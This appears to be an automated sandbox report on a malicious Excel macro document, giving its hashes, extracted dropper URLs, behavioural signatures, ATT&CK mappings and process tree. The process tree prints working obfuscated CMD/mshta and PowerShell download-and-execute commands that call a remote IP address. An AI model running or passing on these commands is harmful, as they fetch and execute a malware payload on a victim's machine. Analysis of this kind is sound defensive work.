4f4165053ebe5fa260fb389ba3f0076ca600f4a70058f59a574f1fde55e1b7c2

General

Target

DATA_8972.xls
Size

35KB
MD5

1ccc2cda134d3cc1c45149d11a9f4aa3
SHA1

b995158806fbbd4aaef52984f606d20663c82f4c
SHA256

4f4165053ebe5fa260fb389ba3f0076ca600f4a70058f59a574f1fde55e1b7c2
SHA512

2e48edbfeed1c2d6fc734c7060059284835068fc49dd6493f6a52c2479890d3d4fb9a0010e95140aaee5420129b39dd4e8dae4730a4bb69e7617ad7f11c8a84b

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/oo/aa/se.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/oo/aa/se.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3148	652	CMD.EXE	EXCEL.EXE

Blocklisted process makes network request 3 IoCs

Processes:

mshta.exepowershell.exe

flow pid process

45 1852 mshta.exe
47 1936 powershell.exe
49 1936 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1340 1852 WerFault.exe mshta.exe

flow	pid	process
45	1852	mshta.exe
47	1936	powershell.exe
49	1936	powershell.exe

pid	pid_target	process	target process
1340	1852	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

652 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 17 IoCs

Processes:

powershell.exeWerFault.exe

pid	process
1936	powershell.exe
1936	powershell.exe
1340	WerFault.exe
1340	WerFault.exe
1340	WerFault.exe
1340	WerFault.exe
1340	WerFault.exe
1340	WerFault.exe
1340	WerFault.exe
1340	WerFault.exe
1340	WerFault.exe
1340	WerFault.exe
1340	WerFault.exe
1340	WerFault.exe
1340	WerFault.exe
1340	WerFault.exe
1936	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 1936 powershell.exe
Token: SeDebugPrivilege 1340 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	1936	powershell.exe
Token: SeDebugPrivilege	1340	WerFault.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
652	EXCEL.EXE
652	EXCEL.EXE
652	EXCEL.EXE
652	EXCEL.EXE
652	EXCEL.EXE
652	EXCEL.EXE
652	EXCEL.EXE
652	EXCEL.EXE
652	EXCEL.EXE
652	EXCEL.EXE
652	EXCEL.EXE
652	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exe

description	pid	process	target process
PID 652 wrote to memory of 3148	652	EXCEL.EXE	CMD.EXE
PID 652 wrote to memory of 3148	652	EXCEL.EXE	CMD.EXE
PID 3148 wrote to memory of 1852	3148	CMD.EXE	mshta.exe
PID 3148 wrote to memory of 1852	3148	CMD.EXE	mshta.exe
PID 1852 wrote to memory of 1936	1852	mshta.exe	powershell.exe
PID 1852 wrote to memory of 1936	1852	mshta.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\DATA_8972.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:652

C:\Windows\SYSTEM32\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3148

C:\Windows\system32\mshta.exe
mshta http://91.240.118.168/oo/aa/se.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1852

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/oo/aa/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1936

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 1852 -s 1964
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1340

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/652-115-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

Filesize
64KB

Download
memory/652-116-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

Filesize
64KB

Download
memory/1936-1524-0x000002074A4E0000-0x000002074A502000-memory.dmp

Filesize
136KB

Download
memory/1936-1531-0x0000020730640000-0x0000020730642000-memory.dmp

Filesize
8KB

Download
memory/1936-1532-0x0000020730643000-0x0000020730645000-memory.dmp

Filesize
8KB

Download
memory/1936-1571-0x000002074A8D0000-0x000002074A90C000-memory.dmp

Filesize
240KB

Download
memory/1936-1629-0x000002074ABF0000-0x000002074AC66000-memory.dmp

Filesize
472KB

Download
memory/1936-1676-0x0000020730646000-0x0000020730648000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads